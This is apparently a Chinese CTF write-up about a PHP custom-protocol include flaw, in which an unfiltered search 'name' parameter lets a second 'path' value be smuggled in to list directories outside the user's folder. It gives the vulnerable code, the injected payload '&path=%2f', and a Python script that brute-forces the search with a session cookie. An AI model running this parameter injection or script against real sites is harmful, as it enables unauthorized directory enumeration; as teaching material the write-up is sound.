美文网首页
PHP自定义协议攻击 by L0st

PHP自定义协议攻击 by L0st

作者: l0st | 来源:发表于2018-11-07 17:48 被阅读0次

经过前辈提示,入口果然还是在search页面,那个include()和master类
search语句

if(isset($_POST['name']))
{
    $userpath=$results['userpath'];
    $userpath='uploads%2f'.$userpath.'%2f';
    $master='master://search/path='.$userpath.'&name='.$_POST['name'];
    //var_dump($master);
    include $master;
}

master类中的search函数

function search($path,$name)
    {
        if(!is_dir($path))
        {
            echo 'illegal!';
            return 1;
        }
        $files=scandir($path);
        echo '</br>';
        foreach($files as $k=>$v)
        {
            if(str_ireplace($name,'',$v)!==$v)
            {
                echo $v.'</br>';
            }
        }
        
        return 1;
    }

整个流程是用户注册时会随机生成userpath作为保存用户文件的地方,做search命令时会自动将$userpath和接收到的name拼接在一起:

$master='master://search/path='.$userpath.'&name='.$_POST['name']
    //调用master类协议中的search函数,提交两个参数path和name,且使用&进行连接

考虑在name后再拼接一个path变量,覆盖之前的path,通过代码可以看到对于name和path没有过滤,只是规定了path变量必须为目录。
造轮子:

关键字&path=%2f  //关键字可以从[a-z]依次遍历,path设置为%2f会访问www服务文件夹所在目录

达到的结果就是越权遍历目录
写了个脚本来实现遍历:

import requests
from bs4 import BeautifulSoup

url = "http://xxxxxxxx:56000/search.php"

#letter_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 
    #           'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        #        'w', 'x', 'y', 'z']

dir = []
post = {}
test = requests.get(url)

if test.status_code == 200:
    print("Connection Succeed!\n")
    print("*******************\n")
else:
    print("Fail!!!\n")

for i in range(65,91):
    
    post["name"] = chr(i) + "&path=%2f"

    cookie = {
        "PHPSESSID":"xxxxxxxxxxxxxxxxx"
    }

    r = requests.post(url,data=post,cookies=cookie)

    soup = BeautifulSoup(r.text,features="html.parser")

    print(soup.prettify())
    print("-------------")

print("Done.")

相关文章

  • PHP自定义协议攻击 by L0st

    经过前辈提示,入口果然还是在search页面,那个include()和master类search语句 master...

  • php特有协议php://filter漏洞

    php中的一个独特的协议,php://filter,这个协议可以被漏洞利用来显示php源码等。 构造:php://...

  • phone开发中,自定义协议有什么用?

    phone开发中,自定义协议有什么用? iphone开发中,自定义协议 自定义协议语法如下: @protocol ...

  • MAMP5.3安装rabbitmq扩展

    PHP 使用 AMQP 协议来连接 Rabbitmq,使 PHP 支持 AMQP 协议,需要安装: rabbitm...

  • 深入了解DoS攻击-理论

    关键词:DoS 网络协议 服务资源 攻击类别 DoS攻击原理DoS攻击是指利用网络协议漏洞或其他系统以...

  • PHP中一些函数方法

    php自定义函数之递归函数 php自定义函数之静态变量 php​ 使用系统内置函数 亚麻跌”是PHP学习时间处理的...

  • 项目中IM项目自定义协议解析说明

    IM自定义协议解析说明 IM的协议文档参见IM协议文档 一、IM协议简介 在IM的通信中,采用的是自定义的协议 +...

  • PHP文件包含

    LFI、RFI、PHP封装协议安全问题学习 本文希望分享一些本地文件包含、远程文件包含、PHP的封装协议(伪协议)...

  • 网络层

    请简单解释一下,arp协议和arp攻击。 考察点:ARP协议参考回答: 地址解析协议。ARP攻击的第一步就是ARP...

  • php哈希冲突攻击解析

    一段攻击代码 插入结果 php5(5.2) php7 php 数组的实现 php 中的数组是 php 中非常好用的...

网友评论

      本文标题:PHP自定义协议攻击 by L0st

      本文链接:https://www.haomeiwen.com/subject/ktavxqtx.html